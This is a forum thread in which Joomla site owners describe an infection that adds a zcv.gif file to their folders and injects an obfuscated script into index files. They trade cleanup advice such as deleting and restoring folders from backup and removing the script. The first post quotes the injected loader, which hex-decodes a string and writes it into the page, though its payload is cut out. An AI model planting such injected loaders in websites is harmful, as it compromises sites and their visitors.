Virus with zcv.gif file in most of my folders

[decomo95]

My joomla files seem to be virus-infected. The virus modified all my index files and add the following lines:

<script>
var Vg='a06d049[removed]83d84';
var HJN = '';
var q = Vg.slice ( 38, 14236 );
for ( K = 38 ; K < 14236 ; K += 2 )
{
HJN += '%' + Vg.slice ( K, K + 2 );
}
document.write(unescape(HJN));
</script>
<!--sd313qwoiu92-->

---

It also adds a file named zcv.gif in to the directories.

I have no idea how this thing gets into my folders, but it is annoying how someone would do that. Please help let me know how to get rid of this virus and prevent the same problem from happening in the future.
Thanks.

[mandville]

while it wasnt written specifically for 1.0.x this document will be good reading
http://docs.joomla.org/Security_Checklist_7

[decomo95]

Thank you. It's time consuming because my files keep getting corrupted. I will look at the suggestions.

[juve0803]

I have a same problem .So what's our solutions ? delete "script" in index file and zcv.gif ??

[decomo95]

This thing spreads and modifies all your index files. What I did is to delete all folders that include the zcv.gif file. I then scan the folders until I confirm that all the zcv files are gone. I then used a backup version of the site and copy the clean version of the folders that I deleted. Let your host service provider know so they can do their own scan and virus removal procedure on your folders.

[khurram664]

had the same problm..wat i did was i deleted this unwanted script fr, php files like 'default.php','index.php', and also in sm main files of template and mod_menu..this elimanatd tht effect...or else it is causing browser to hang up for sm time